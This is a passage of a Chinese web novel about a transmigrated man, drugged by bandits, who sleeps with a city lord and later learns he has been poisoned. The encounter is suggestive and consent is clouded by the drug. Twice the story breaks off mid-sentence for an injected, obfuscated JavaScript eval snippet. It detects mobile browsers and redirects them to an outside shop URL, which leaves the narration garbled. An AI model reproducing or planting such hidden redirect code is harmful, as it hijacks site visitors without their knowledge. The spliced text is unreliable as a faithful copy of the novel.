了药。他眸色闪过一丝暗沉,没想到山贼居然会使这些下流的手段。 顾宴之手上不老实地抚摸着郁辞白的脸颊和脖颈,期望获取一丝凉意,却仍是不够满足,依靠本能地扯着郁辞白的衣服,想获取更多。 燥热却如影随形,顾宴之的喘息声愈来愈重,低沉沙哑带着惑人的意味,“郁辞白……” 郁辞白捉住顾宴之乱动的手,不让他朝更隐秘的地方摸去,沉声道:“顾宴之——” 顾宴之此时却不是能被轻易唤醒的,山贼下的药药效强烈,不是光靠忍能忍下去的。 他一个用力翻身将郁辞白压在身下,侧过头用脸去蹭对方的脖颈,手上已然把自己的衣裳褪了一半,大红色的衣袍挂在肩头,更添几分悱恻。 顾宴之唇色点了口脂,绯红如血,像是吸人精血的妖精,嘴唇不小心蹭过郁辞白的颈侧,留下点点红色的印记。 郁辞白按着顾宴之的肩膀,不知道该不该推开,只是一时的犹豫,衣领便被顾宴之扒开了。 “……” 郁辞白低斥道:“顾宴之,醒醒。” 顾宴之能醒才怪,他按住郁辞白的手腕,低头蹭过郁辞白分明的锁骨,又偏头咬了咬,唇渐渐往下,又含住了那处绯红。 郁辞白下意识闷哼出声,强烈的羞耻涌上心头,他甩开顾宴之,动作略显慌张地拢上了衣领,低沉着声音道:“顾宴之,你——” 竟然敢,他要杀了顾宴之—— 顾宴之此时意识混沌,全然不知自己做了什么惊天动地的大事,周身的燥热愈来愈烈,几乎要吞噬整个人。被郁辞白丢下后,他失去了慰藉的凉意,周身透着些许无措和失落,“帮帮我……” 郁辞白走也不是留也不是,忍耐地闭了闭眼,顾宴之中了药,也不可能凭白把对方丢下,但他们随行没有带医官,一时又无法解药。 都是男子…… 郁辞白咬咬牙,都是男子,被咬一下也不会少块肉。 他隔着门窗吩咐外面的暗卫,“打一桶凉水进来。” 一桶凉水很快送来,郁辞白打横抱起了顾宴之,将对方丢入了冰凉的浴桶之中。 郁辞白面无表情地坐在旁边的椅子上,等着顾宴之药效缓解。 冰冰凉凉的水确实很好的缓解了顾宴之的燥热,但体内源源不断的热却不是水能扑灭的,一股又一股潮热继续从身体深处涌出,愈演愈烈。 “郁辞白……”顾宴之声音低哑,透着些许模糊,轻声呢喃着郁辞白的名字。 郁辞白闻声走了过去。 顾宴之朝他伸出手,水滴滑落白皙的指尖,仿佛摄人心魄的鬼魅。 郁辞白鬼使神差地搭上了他的手。 下一刻,顾宴之突然用力拽住了郁辞白,把他拉入了浴桶之中。 郁辞白可以说是毫无防备,身形一歪,径直栽进了浴桶之中,浑身湿了个透。 浴桶不大,两人身体贴得很近,连呼吸都相互交融,像是要融化对方。 顾宴之的下巴抵在郁辞白的肩膀上,带着些许单纯的不知所措,“郁辞白,帮帮我……” 14.城主14 郁辞白的心猛地一颤,能清晰地感受到顾宴之温热的呼吸打在自己的耳畔,仿佛一把钩子戳进了他心里的角落。他的双手在半空中微微停滞,不知该落于何处。 郁辞白的声音凝滞在喉咙,“……怎么帮?” 顾宴之此时已然没有了清醒的意识,全然依靠本能,指尖抚过郁辞白的侧脸,迫使他转过头来。 然后倏地吻了上去。 那是个满是情欲的吻。 顾宴之单手按住郁辞白的后颈,慢慢加深了这个吻,舌尖撬开对方的齿关,渐渐缠绵。 郁辞白愣住了。 顾宴之身上带着冰冷的水汽,体内的温度却烫得不行,他倾身吻着对方,好像唯有这样才能缓解他的热意。 郁辞白想推开顾宴之,却倏地使不上劲,浑身因为这个吻而失去了力气,恍惚了神智,不知该做出如何的反应。 顾宴之一边吻一边解开郁辞白的衣裳。 当顾宴之的手慢慢解开腰带的束缚时,郁辞白终于有了点反应,蓦然攥住了对方的手,“住手——” 在紧急关头,郁辞白还是恢复了理智。 顾宴之偏头吻了吻郁辞白的唇角,声音里透着难掩的难受,“好热……帮帮我……” 郁辞白紧紧捉住顾宴之的手,不让他乱动,低声开口,像下定了什么决心,一字一句地挤出来,“知道了,你别乱动。” 顾宴之好似听懂了对方的话,知道他愿意帮自己,于是乖乖地不乱动了。 郁辞白闭了闭眼,不知心里在想什么,又好像是说服了自己,到底还是狠不下心肠。 都是男子,知道该如何做。 郁辞白把人从水里捞了出来,放到了榻上。 大红色的衣裳好像嫁衣,郁辞白动作缓慢地解开了对方的衣裳,烛光微弱摇曳,影子在窗上晃动。 信任度无声无息地开始疯涨,最后停留在45。 …… 天明。 顾宴之醒来,头还晕着,缓缓睁开眼,周身弥漫着一股懒倦的意味。 他动了动手,却忽然碰到了什么,偏头一看,对上了郁辞白未醒的睡颜。对方闭着眸子,眼底下有着淡淡的青色,一看就是晚上没有休息好。 昨夜的记忆如同流水般灌入顾宴之的脑海里。 “……” “…………” 顾宴之沉默了。 系统此时飞了出来,哼着小曲,显得十分高兴,【恭喜宿主,昨晚信任度一下子升到了45。】 顾宴之还停留在昨晚的记忆中,揉了揉额头,后悔道:【你昨晚怎么不拦住我?】 系统本来想拦的,但看到蹭蹭上涨的信任度,一下子就收回了手。 况且就算它拦,也不一定能拦住失去理智的顾宴之。 顾宴之从没想过会和任务对象搞到了床上,他看向还没醒的郁辞白,不由自主地想起昨夜对方低喘的声音,以及泛红的眼角,低低地叹了口气。 他的任务不止是取得顾宴之的信任那么简单,在取得信任之后还要当个渣男,才能完成任务要求。 如今这般,他该怎么才能渣得下手? 郁辞白睡眠浅,在顾宴之叹气的时候就已经醒了,但不知为何没有立即睁开眼。 顾宴之躺在床上,看着朴素的床帐,也不知在想什么。过了会儿,他小心翼翼地起身穿好了衣裳,在不惊动郁辞白的情况下下了床。 在郁辞白以为对方要偷溜走的时候,顾宴之又回来了,抬手给郁辞白捻了捻被子,然后在床边坐下了,从头到尾一句话没说。 顾宴之安静地坐在床边,看着郁辞白。 最后,郁辞白实在受不了被这么凝视的视线,缓缓睁开了眼睛。 “……” 顾宴之没想到郁辞白突然就醒了,两人的视线蓦然对视上,他有些不好意思地移开了视线,“……你还好吗?” 郁辞白坐了起来,语气凉凉道:“你说呢?” 顾宴之心里对不起郁辞白,中了药反倒把对方给上了,诚心认错道:“我不是故意的。” 郁辞白当然知道顾宴之不是故意的,要是对方有一点点故意的心思,郁辞白能把他揍得亲娘都不认。 郁辞白准备起身,才发现自己身上□□,顿了顿之后,咬牙道:“转过去。” 顾宴之慢半拍地反应过来,红着耳朵转过了头。 “……” 郁辞白穿好了衣服下床,语气不太好道:“还愣着干什么,还想在这待着?” 论谁遭遇了这么一件心情都不会好。明明中药的是顾宴之,吃亏的却是自己。 顾宴之跟着郁辞白出门下山。 昨夜山贼老巢已经被清剿干净,留下了一片狼藉还未来得及打扫。 顾宴之身上穿的还是昨日的大红色繁杂女装,一头墨发因为昨晚的激烈已经散开,披散在身后。 上山的路顾宴之是被打晕扛上来的,下山的路就要自己走了,乱石峭壁,繁复的衣裳影响了他的行动,走几步就要停下拎起衣裙。 郁辞白已经刻意放慢了脚步,但顾宴之还是跟不上他,于是沉默的停下了脚步。 “上来。”郁辞白半蹲下,语气里带着不容置疑的命令。 顾宴之微顿,望向郁辞白的后背,后知后觉地明白了他的意思,却怎么也不肯同意,“不要,我自己能走。” 昨夜明明是郁辞白在下面,结果今日还让对方背他,顾宴之可拉不下这个脸。 他也是要尊严的! 郁辞白:“等你走下山,天都黑了。” 顾宴之还是死活不肯答应,好像多说一句他宁愿从山上跳下去,也不愿意让郁辞白背他。 郁辞白有时候拿顾宴之完全没办法,只得换个方法牵住他衣袖下的手,转而拉着他下山。 穿过蜿蜒崎岖的山路,抵达山脚之处,有马车停在山下接应。 郁辞白和顾宴之上了马车,顾宴之总觉得刚才哪里不对劲,就像是他和郁辞白的身份反了过来。 怕对方不知道以为自己轻浪,顾宴之特意解释道:“昨日我被下药了。” 郁辞白当然知道,见顾宴之又提起昨晚的事情,不禁闭了闭眼,有点想掐死什么的冲动,“……本城主知道。” 如果不是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341885|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下药了,郁辞白不信他能一夜六次。 谁都没再说话,马车里安静得只剩下马蹄哒哒声。 顾宴之想着解释昨晚的事情,又想着怎么道歉,心绪复杂。此时,马车猛地颠簸了一下,郁辞白本就强忍着周身不适,素来冷淡的脸上闪过一丝不自然的隐忍。 顾宴之眼疾手快地扶住郁辞白,“城主……” 郁辞白皱了皱眉,当着顾宴之的面,不愿被看出异样,面无表情,薄唇轻启吐出二字道:“无事。” 他想抽出手,微微动了下,却又扯得腰间一阵酸痛,不由得身形一滞。 “……” 顾宴之看在眼里,默默在心里向城主大人说了声抱歉。 一路回到了客栈之中。 顾宴之的第一件事就是换掉身上这件繁琐的女装。 下午便要出发回到城主府,顾宴之趁着上午出门转了转,偶然听得有一位声明远扬的名医途经此地,盛传其医术通神,堪称包治百病,不论何等疑难杂症,皆能手到擒来,妙手回春。 更重要的是,听说这位名医尤为精擅各类解毒之术。 顾宴之还没忘自己身上的毒还没解,只是暂时缓解了毒素蔓延,根本还未痊愈。 顾宴之便打算去看看病,又想起自己还没有钱,沉思片刻,便只能去找郁辞白要。 郁辞白昨夜未休息好,此时在客栈中小憩,听到顾宴之说想要钱,直接把沉甸甸的钱袋丢给了他。 顾宴之捧着钱袋开心地离开了。 那处医馆在城东,离客栈并不算远,顾宴之该省省该花花,选择走路过去。 路过繁华的大街时,顾宴之突然被一个算命的叫住。 “公子。”算命的神神叨叨,“观公子面相,必为大富大贵之人啊,可这周身气运,却似被一层薄纱所掩,透着一分诡谲莫测。” 顾宴之本来没打算理会,以为这是江湖骗子,却又被那算命的接下来的话勾住了脚步。 “公子,您近日怕是有棘手之事缠身,事业上看似坦途,实则暗礁潜伏,情之一字,更是犹如乱麻,剪不断理还乱啊。”算命的摸了摸胡须道。 顾宴之:“此话怎讲?” “天机不可泄露。”算命的从破旧布囊中摸出几张灵符,“这是我师门秘传的转运灵符,只有十张,只需贴在公子平日里经常待的地方,可保公子拨云见日,诸事顺遂。” 顾宴之半信半疑。 算命的见顾宴之迟疑,又凑近几分,继续低声道:“公子莫要错失机缘,我观您命格贵重,这灵符若助得公子,往后飞黄腾达,也不枉它一番灵验。” 系统飞了出来,围着算命的转了几圈,【宿主,我觉得他是个骗子。他后面的箱子里都是这样的灵符。】 顾宴之却被说得有些心动,“多少银子一张?” 算命的一笑:“一张只需要一锭银子。” 顾宴之掏出钱袋,“来三张。” 系统:【……】 宿主的钱这么好赚的吗? 顾宴之一路走到城东医馆门口。还未迈步入内,就闻到里面药香混着淡淡的苦辛味飘散出来。 15.城主15 医馆之中,一位白发苍苍的大夫正在给一个老者悉心诊治,手指搭在老者的腕间,须臾就已洞察病源开了药方,叫后面的药童去抓药。 很快便到了顾宴之。 大夫问道:“公子是有何不适?” 顾宴之斟酌道:“我前段日子中了毒,毒性未解。” 大夫听闻面色凝重,仔细地为顾宴之把了把脉,片刻后,缓缓道:“此毒颇为棘手,从脉象来看,已深入经络脏腑,如附骨之疽。所幸此前用药得当,暂将毒性羁縻,方使公子暂无性命之忧。” 顾宴之眉梢微动,“大夫可有办法?” “难。”大夫沉思后道:“世间毒术纷繁复杂,变幻莫测,其中不乏绝命之毒。公子所中之毒,老夫实难措手,还请公子另访圣手,或可有一线生机。” “听说那黎川城有一毒医,或可有解毒之术。” 顾宴之皱眉:“如果治不好,那我还有多久时间?” 大夫微微叹气道:“不足三月。” …… 顾宴之离开了医馆,回到了客栈,面色平静,好似大夫的诊断未曾发生过。 这并不是必死之局。 顾宴之想活着,只要三月之内,他完成系统的任务,系统就能给他重活一次的机会。 回城主府的马车已经备好。 郁辞白从客栈中走出,披着一袭玄色披风,身形修长,见顾宴之回来了,目光不经意地掠过他,问道:“去哪儿了?” 顾宴之笑道:“出去转了转。” 他没说自己去看病的事情,走到郁辞白身边慢慢开口道:“如果有机会的话,想和城主一起去逛逛。” 郁辞白微微皱了皱,饶是顾宴之说话情绪没有任何问题,但却仍是透露出丝丝缕缕的不对劲。他少见地多问了几句:“路上都碰见了什么?” 顾宴之歪头想了想,从怀里拿出灵符,晃了晃,“找算命的买了这个,回府里可以贴上。” 郁辞白对鬼怪神佛之说向来嗤之以鼻,更别说街头巷尾那些算命术士,但最终还是没有打击顾宴之,只是道:“你若是信这个,改日叫术士专门来府上便是。” 顾宴之摇了摇头,认真道:“不一样,他说我是有缘人。” “……” 郁辞白发现顾宴之真的好骗。 看得出来顾宴之是真的相信,把灵符拿出来看了两眼后又小心翼翼地揣了回去,生怕被弄得破损了。 郁辞白:“……” 马车上。 顾宴之看着升高到45的信任度,逐渐知道应该怎么做了。 “城主。”顾宴之挪到郁辞白身边坐下,慢吞吞地开口:“要是我死了,你会伤心吗?” 郁辞白睨了顾宴之一眼,不知道他又在说什么鬼话,“本城主说过不杀你。” 在郁辞白心中,自己不杀顾宴之就等于顾宴之不会死。 顾宴之心想怎么对方没听懂他的意思,在心中默默叹了口气,低低叫了声郁辞白,“城主……” 郁辞白发现顾宴之今日好似格外不对劲,难道是昨夜药效留下了后遗症,于是抬手探了下他的额头,见已经恢复了正常温度,这才放下了心。 顾宴之还不知道自己被郁辞白怀疑有病,稍微靠近郁辞白,将自己的下巴搭在对方的肩膀上,呼吸声悄悄打在耳畔,低声道:“万一宴之哪天死了呢?” 郁辞白挑起顾宴之的下巴,直视着对方浅淡的眸子,“人终有一死,你不死才不正常。” 顾宴之:“……” 他总觉得自己在鸡同鸭讲。 可是这时候,系统的通报声响起,信任度又悄然地升了1点。 回到府上后,顾宴之准备把算命的给他的灵符贴上。 一张贴在自己卧房,另外两张打算贴在郁辞白的书房和卧房。 顾宴之摸到书房里,郁辞白正在处理公文。 郁辞白听见脚步声就知道谁来了,头也没抬道:“过来。” 不同于暗卫和守卫冰冷严肃的步子,顾宴之的脚步声充满了辨识度,更何况他从不叩门,来了之后还会先在门口停下先看看再进来。 顾宴之藏起身后的灵符,走到桌案边,瞧郁辞白找他何事。 郁辞白把桌面上一封摊开的信笺递给顾宴之,支着下颌好整以暇道:“南灵城写信来让本城主放你回去。你说,本城主该如何回信?” 顾宴之接过信笺,一目三行地扫了一遍内容。信中说顾宴之是南灵城重要使者,如今在北澜城养病已有数日,是时候该回去了。 他眉心不由得抽了抽,系统到底给了他个什么身份。 顾宴之:“城主如何想?” 郁辞白反问道:“你的伤势如何?” “咳咳——”顾宴之闻言往软榻上一歪,捂着嘴隐忍地咳嗽了几声,看起来状态不太好,“不如何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14348418|152433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勉强能走路罢了。” 郁辞白:“……” 当他是傻子吗? 顾宴之声音脆弱,继续补充道:“回南灵城的路舟车劳顿,宴之又身体不好,说不定一不小心就小命呜呼了。” 郁辞白不明显地皱了皱眉,“别乱说,哪那么容易死?” 顾宴之因为咳嗽而眼角泛红,眼泪汪汪地显得有些可怜,“城主莫不是想赶宴之走?” 郁辞白还什么都没说,顿了几秒,“……本城主何时说过要赶你走?” 顾宴之抬头,“既然城主不赶宴之走,那宴之就可以不回南灵城了。” 郁辞白如今的确没有赶顾宴之走的想法了,他微微偏过头,“本城主会回信说让你暂且留在北澜城。” 见郁辞白没有遣送他回城的意思,顾宴之身子也不虚弱了,起身继续贴他的灵符。 郁辞白:“……” 他忍不住问道:“为何贴在书房中?” 而且是贴在他的书房。 顾宴之这样做自然有他的道理,但不能说,只是神秘道:“天机不可泄露。” 顾宴之贴完灵符后并未离开,坐在窗边的软榻上看着郁辞白处理公文,时不时给自己倒一杯茶。 就差准备些点心蜜饯了。 郁辞白被顾宴之看得静不下心来,身上的酸疼感也让他颇为烦躁,他抬眸看向悠闲的顾宴之,顿时气不打一处来,声线凉凉道:“过来。” 顾宴之心想郁辞白怎么总让他过来过来,但谁让对方是城主大人,还是起身走了过去,“何事?” “磨墨。”郁辞白道。 顾宴之:“……” 他没立刻听话,走近几步道:“我现在负责洒扫卧房,磨墨不是我的职责。” 郁辞白瞥了他一眼,皱眉道:“本城主让你做什么你就做什么,就算让你做捏肩捶背的事也是你的职责。” 顾宴之走到郁辞白身后,双手搭在他的肩膀上,轻柔的呼吸打在耳侧,低声道:“那宴之为城主捏肩。” 郁辞白本就浑身酸胀,昨夜被翻来覆去了几次,今日能勉强能站起来都不容易,被顾宴之这么一捏差点没忍住闷哼出声。 “本城主叫你磨墨。”郁辞白一字一句咬牙道:“没让你捏肩。” 【恭喜宿主,任务对象的信任度上升1点。】 顾宴之看着上升的信任度,愈加不信口是心非的郁辞白。